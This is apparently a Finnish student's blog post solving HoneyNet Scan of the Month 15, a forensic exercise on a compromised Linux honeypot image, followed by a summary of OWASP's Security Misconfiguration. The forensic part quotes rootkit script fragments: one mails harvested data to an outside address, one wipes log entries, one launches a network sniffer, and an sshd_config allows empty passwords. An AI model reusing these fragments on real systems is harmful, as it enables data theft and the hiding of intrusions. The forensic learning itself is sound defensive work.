Tag Archives: honeypot

HoneyNet Scan of the Month 15 | Linux Palvelimena

Linux Palvelimena kolmannen kotitehtävän ensimmäisessä osassa oli tarkoitus ratkaista HoneyNet Scan of the Month 15. Tuttuun tapaan käyttöjärjestelmänä on Xubuntu 13.10 64-bit versio joka pyörii VirtualBoxilla. Käyttöjärjestelmälle allokoitu prosessorista yksi ydin ja keskusmuistia löytyy runsaat 2048 megatavua.

Tehtävänanto:

h3: a) Ratkaise HoneyNet Scan of the Month 15.
b) Selitä omin sanoin tiiviisti valitsemasi hyökkäys OWASP Top 10 -listalta. Pelkkä sanallinen kuvaus riittää, tässä OWASP alakohdassa ei tarvitse tehdä mitään kokeiluja.
ps. Käsittele haittaohjelmia sisältäviä levykuvia huolellisesti, älä laita niitä tuotantokoneille äläkä aja niiltä löytyviä ohjelmia. Noudata hyviä tapoja ja lakeja, älä hyökkää kenenkään koneisiin. Katso myös http://terokarvinen.com/2013/forensic-file-recovery-with-linux
ps2. Jos on vaikea valita tutustuttava hyökkäys, tutustu SQL injektioon.

Tehtävän aloitus 11. helmikuuta klo 20:00.

Aloitetaan päivittämällä tarjolla olevat paketit komennolla:

$ sudo apt-get update

Tehtävänannossa olevaa linkkiä (http://terokarvinen.com/2013/forensic-file-recovery-with-linux) käytetään hyväksi tätä tehtävää tehtäessä, tai ainakin yrittäessä.

Ensimmäiseksi pitää saada tuo Scan 15 levykuva haltuun joka löytyy honeynet.org:n sivuilta.
Luodaan sitä ennen kansio nimeltä Harjoitus kotihakemistoon. Jos olet jossain muualla kuin kotihakemistossa, komennolla “cd” pääsee kätevästi omaan kotihakemistoon.

$ cd
$ mkdir Harjoitukset
$ cd Harjoitukset/

Nyt olemme Harjoitukset -kansiossa. Ladataan levykuva tarballina ja puretaan se.

$ wget http://old.honeynet.org/scans/scan15/honeynet.tar.gz
$ tar -xf honeynet.tar.gz

Kun tarballi on purettu, huomasin, että hakemistoon on tullut honeynet niminen hakemisto.

Linkissä olevien ohjeiden mukaan luodaan kaksi hakemistoa, allocated ja deleted.

$ mkdir allocated deleted

Palautetaan normaalit tiedostot hakemistoon allocated.

$ tsk_recover -a honeynet/honeypot.hda8.dd allocated

The program ‘tsk_recover’ is currently not installed. You can install it by typing:
sudo apt-get install sleuthkit

Kuten jo ylläolevasta lauseesta näemme, tarvitsee koneelle asentaa sleuthkit niminen ohjelma.

$ sudo apt-get install -y sleuthkit

Nyt kun ohjelma on asentunut, kokeillaan samaista komentoa uudestaan.

$ tsk_recover -a honeynet/honeypot.hda8.dd allocated
Files Recovered: 1614

Palautetaan poistetut tiedostot hakemistoon deleted.

$ tsk_recover honeynet/honeypot.hda8.dd deleted/
Files Recovered: 37

Nyt on levykuva saatu palautettua ja itse tutkiminen alkaa. Minulla itsellä on kokemusta vain haittaohjelmien ym. etsimisestä kokemusta Windowsin puolella. Joten minun työsuunnitelmana on tutkailla ja etsiä kyseenalaisia tiedostoja, ja niiden sisältöä.

Aloitetaan ensimmäisenä normaaleista palautetuista tiedostoista jotka löytyvät siis hakemistosta nimeltä allocated.
Siirrytään hakemistoon ja katsotaan mitä kansioita siellä on ja vilkaistaan pikaisesti tiedostoja, jotta nähtäisiin yleiskuva tiedostoista ns. “normaalissa” levykuvassa.

$ cd allocated/
$ ls -al
$ find|less

Find komennon kun ajaa juuritasolla, tulee pitkä liuta tekstiä, joten less:n lisääminen loppuun on kannattavaa. Listassa pääsee eteenpäin joko rivin tai sivun kerrallaan. Etenin itse sivu kerralla välilyöntiä painamalla.
Muutamat sivut läpikäyneenä tuli yksi kohta vastaan, josta en ole aivan varma onko ihan hyvä, jos näitä löytyy koneelta.

./dev/ida/.drag-on/linsniffer

Googleen hakusanaksi linsniffer ja selviää, että se on jokin “ethernet haistelija” joka istuu kuuntelemassa verkon liikennettä ja nappaa jokaisen paketin mitä näkee. Maalaisjärjellä ajateltuna kuulostaa epäilyttävältä.

Katsotaan vielä hakemistoja puurakenteen avulla. Tree -ohjelmaa ei löytynyt natiivisti Xubuntusta joten sen joutui asentamaan.

$ tree -d
The program ‘tree’ is currently not installed. You can install it by typing:
sudo apt-get install tree
$ sudo apt-get install -y tree
$ tree -d

Saadaan hieman siistimpi näkymä kansioiden hierarkiasta.

Luodaan nyt aikajana jossa on mukana poistetut tiedostot.

$ tsk_gettimes honeynet/honeypot.hda8.dd >rawtimes

Vilkaistaan mitä kaikkea ko. aikajana pitää sisällään.

$ mactime -b rawtimes |less

Ensimmäisen rivin vuosiluku on hieman hämäävä.

Thu Jan 01 1970 02:00:00 1024 …b d/drwxr-xr-x 0 0 10041 etc/sysconfig/console

Aikajanaa tarkastellen en oikein tiedä mitä etsiä, mutta ollessani etc/ hakemistojen kohdalla, jokin sinne kuulumaton rivi sai minun huomioni.

17 …b l/lrwxrwxrwx 0 0 16109 etc/rc.d/rc3.d/S14nfslock -> ../init.d/nfslock 239 …b -/rrw-r–r– 0 0 16110 $OrphanFiles/OrphanFile-16110 (deleted) 16 …b l/lrwxrwxrwx 0 0 16111 etc/rc.d/rc3.d/S35identd -> ../init.d/identd

$OrphanFiles nimisestä hakemistosta on poistettujotain. Google kertoi, että Orphan tiedostot ovat poistettuja tiedostoja joissa on silti metadataa tallella.

Selatessani edelleen aikajanaa tuli vastaan monia samanlaisia rivejä missä on samaisia tiedostoja poistettu.

0 …b r/rrw——- 0 0 22103 tmp/ccypSy1G.c (deleted)
0 …b r/rrw——- 0 0 22104 tmp/ccM1STTd.o (deleted)
0 …b r/rrw-r–r– 0 0 22105 tmp/ccsQgrMK.ld (deleted)
0 …b r/rrw——- 0 0 22106 tmp/ccbbVj4g.c (deleted)
0 …b r/rrw——- 0 0 22107 tmp/ccSZCa5n.o (deleted)
0 …b r/rrw-r–r– 0 0 22108 tmp/ccRD854u.ld (deleted)
520333 …b r/rrw-r–r– 0 0 23 lk.tgz (deleted)

tmp hakemistosta poistettu monia tiedostoja ja jokin lk.tgz niminen tarball.

Tiedämme Scan of the Month 15 tehtävänannosta, että koneelle päästiin tunkeutumaan 15. maaliskuuta 2001. Kyseisen päivämäärän ympäriltä löytyviä tapahtumia pitäisi päästä tarkastelemaan.

Jossain vaiheessa aikajanaa tuli tuo kyseinen päivämäärä vastaan sisältäen monia rivejä kyseiseltä päivältä, vaan en kuitenkaan osannut tulkita rivejä.
Koko aikajanan katsomiseen meni valehtelematta 45 minuuttia. Siirrytään tutkailemaan deleted osiota jos sieltä löytyisi paremmin tietoa.

$ cd deleted/
$ ls -al
total 528
drwxr-xr-x 4 esa esa 4096 helmi 11 20:21 .
drwxr-xr-x 5 esa esa 4096 helmi 11 20:52 ..
drwxr-xr-x 5 esa esa 4096 helmi 11 20:21 etc
-rw-r–r– 1 esa esa 520333 helmi 11 20:21 lk.tgz
drwxr-xr-x 2 esa esa 4096 helmi 11 20:21 $OrphanFiles

Listauksessa näkyi tuo pahaenteinen tarballi sekä $OrphanFiles niminen hakemisto. Aloitetaan tarkastelu katsomalla mitä tarball pitää sisällään.

$ tar -xf lk.tgz
$ cd last

Listaus paljastaa tarballin syöneen paljonkin tavaraa, muun muassa jo aiemmin “löytämäni” linsniffer.
Katson kaikkien sisällön ja laitan tänne jos löytyy jotain epäilyttävää.

$ tail cleaner

touch -r /var/log/$fil new
mv -f new /var/log/$fil
newline=$(wc -l /var/log/$fil | awk -F ‘ ‘ ‘{print $1}’)
let linedel=$(($line-$newline))
echo “${WHI}$linedel ${DWHI}lines removed!${RES}”

done

killall -HUP syslogd
echo “${BLK}* ${DWHI}Alles sauber mein Meister !’Q%&@$! ${RES}”

Cleaner tiedoston sisältä löytyi jotain ilmeisesti Saksaa sisältävää kieltä. Tästä voi jo päätellä ettei ole aivan puhtaat jauhot pussissa tällä tiedostolla.

Seuraavana vuorossa install tiedoston tutkailu samaisella tail -komennolla.

$ tail install
cat computer | mail -s “roote” bidi_damm@yahoo.com
echo “* Am trimis mailul … stergem fisierele care nu mai trebuie .”
echo
echo
echo “* G A T A *”
echo
echo “* That Was Nice Last ”
cd /
rm -rf last lk.tgz computer lk.tar.gz

Vaikka en osaa täydellisesti tulkita ylläolevaa tiedoston sisältöä, vaikuttaisi se lähettävän jotain sähköpostiin ja poistavan tämän jälkeen tarballin.

$ tail logclear
killall -9 linsniffer
rm -rf tcp.log
touch tcp.log
./linsniffer >tcp.log &

Linsniffer tiedosto tappaa kaikki linsniffer prosessit, poistaa logit ja tämän jälkeen luo uuden samannimisen tiedoston.

lsatrr- nimisen tiedoston tarkastelu

$ tail lsattr
#!/bin/sh
cd /dev/ida/.drag-on
./mkxfs -f ./s
./linsniffer >> ./tcp.log &
cd /

Kyseessä näyttää olevan jokin bash-scripta joka menee hakemistoon ja ajaa kaksi tiedostoa ja siirtyy juurihakemistoon.

Vuorossa sshd_config tiedoston sisällön katsominen
$ tail sshd_config
RSAAuthentication yes
PasswordAuthentication yes
PermitEmptyPasswords yes
UseLogin no
# CheckMail no
PidFile /dev/ida/.drag-on/pidfile
# AllowHosts *.our.com friend.other.com
# DenyHosts lowsecurity.theirs.com *.evil.org evil.org
# Umask 022
# SilentDeny yes

Toisessa rivissä sallitaan tyhjät salasanat, kuulostaa epäilyttävältä tämäkin.

$ tail ssh_host_key.pub
1024 37 129548073295280252500575434093782645985155989687335528805738801561450567169036815804719637785924581776375307653623567595434773149663752532172945762705841750327695044879439112881214594877484381858188333240675834233128157059856382445188554673101284047656780274506899225446508978428021749231325851635025026234447 root@dil2.datainfosys.net

Julkisten ssh-avainten listassa on jokin sinne kuulumaton osoite.

Jatketaan tehtävän tekoa huomenna koska kello on jo 23:15.

Yöunet takana ja takaisin tutkailemaan. Kello näyttäisi olevan noin 14:30.

Selailin etc hakemiston läpi ja en löytänyt mitään erikoisen näköistä, muutamia K83ypbind tiedostoja joissa osassa oli jotain sisällä.

#%PAM-1.0
auth required /lib/security/pam_securetty.so
auth required /lib/security/pam_pwdb.so shadow nullok
auth required /lib/security/pam_nologin.so
account required /lib/security/pam_pwdb.so
password required /lib/security/pam_cracklib.so
password required /lib/security/pam_pwdb.so nullok use_authtok md5 shadow
session required /lib/security/pam_pwdb.so
session optional /lib/security/pam_console.so

$OrphanFiles hakemistossa oli 26 Orphanfileä joiden sisällä oli minulle tuntematonta tekstiä.

Tässä vaiheessa loppuu minun salapoliisityöt tietämyksen puutteen takia.
Löysin jonkin verran noita epäilyttäviä tiedostoja ja uskoisin, että koneelle oli rootkit saatu ujutettua.

OWASP TOP 10 – Security Misconfiguration

Valitsin OWASP Top kymmenestä aiheeksi #5 eli tuon Security Misconfiguration nimellä kulkevan.

Security Misconfiguration eli raa’asti käännettynä virheellinen kokoonpano tietoturvassa. Hyökkäyksen kohteena voi olla mikä tahansa käyttöjärjestelmä ja näiden sisältämät sovellukset mitkä ovat alttiita hyökkäyksille. Hyökkääjänä voi toimia jokin ulkopuolinen henkilö tai henkilö joka omaa käyttäjätunnuksen jota voidaan käyttää hyökkäyksessä. Myöskin jokin sisäpiiriin kuuluva henkilö saattaa yrittää päästä käsiksi tietoihin mihin hänen ei kuuluisi päästä.

Hyökkääjä haluaa päästä käsiksi esimerkiksi oletustunnuksiin, käyttämättömiin sivuihin, korjaamattomiin vikoihin, suojaamattomiin tiedostoihin ja hakemistoihin yms. Edellä mainittujen kohteiden avulla hyökkäjä voi saada luvattoman oikeuden järjestelmään tai ainakin tietoa siitä.
Hyökkääjä voi päästä järjestelmään käsiksi sinun tietämättä siitä ja kaikki data on varastettavissa ja muokattavissa.

Olenko minä altistunut kyseessä olevalle hyökkäysmetodille?

1. Onko kaikki ohjelmistot ajan tasalla? Sisältää käyttöjärjestelmän, ohjelmistot, tietokannan, sovellukset yms.

2. Onko järjestelmässä tarpeettomia ominaisuuksia sallittu tai asennettu ? Esimerkkeinä portit, palvelut, sivut, tunnukset ja oikeudet).

3. Onko oletuskäyttäjät sallittu ja näiden salasanat vaihtamattomia?

4. Paljastaako sinun virheilmoitukset liikaa tietoa käyttäjille?

5. Onko tietoturva-asetukset kehitysalustoissa ja kirjastoissa puutteelliset?

Esimerkkejä hyökkäystilanteista.

1. Sovelluspalvelimen ylläpitäjän konsoli (admin console) on automaattisesti asentenunut ja oletuskäyttäjiä eikä heidän salasanojaan ole vaihdettu. Hyökkääjä löytää ylläpitäjän hallintasivun ja kirjautuu oletustunnuksella sisään oletussalasanan avulla.

2. Luettelolistausta ei ole otettu pois käytöstä palvelimelta. Hyökkääjä tajuaa, että hän voi yksinkertaisesti listata luettelot ja hakea sieltä minkä tahansa tiedoston. Tämän jälkeen hän lataa kaikki kootut java-luokat ja takaisinmallintaa (?revese engineer) ne, ja saa käsiinsä mukautetut koodit. Näiden koodien avulla hän saa järjestelmään oikeuden hallintapuutteen takia.
(Pahoittelut, suomentaminen oli vaikeata!)

3. Sovelluspalvelimen konfiguraatio mahdollistaa “stack tracejen” palautuksen käyttäjille. Mahdollisesti altistaa taustalla oleviin puutteisiin. Hyökkääjäthän rakastaa ylimääräistä tietoa mitä virheilmoitukset heille antavat.

4. Sovelluspalvelimen mukana tulee sovellusten näyteversioita. Näyteversiot sisältävät tunnettuja tietoturvapuutteita ja hyökkääjä voi hyödyntää palvelintasi näiden avulla. Kannattaa siis poistaa nämä tuotantopalvelimeltasi.

Tehtävän lopetus kello 16:20. Tehtävä oli mielestäni mielenkiintoinen vaikkakin melkoista hakuammuntaa olikin tuo haitallisten tiedostojen etsiminen. Ainakin tuli harjoiteltua sorminäppäryyttä terminaliin syötettyjen komentojen kanssa !

Lähteet:

http://terokarvinen.com/2013/forensic-file-recovery-with-linux

http://wiki.sleuthkit.org/index.php?title=Orphan_Files

https://www.owasp.org/index.php/Top_10_2013-A5-Security_Misconfiguration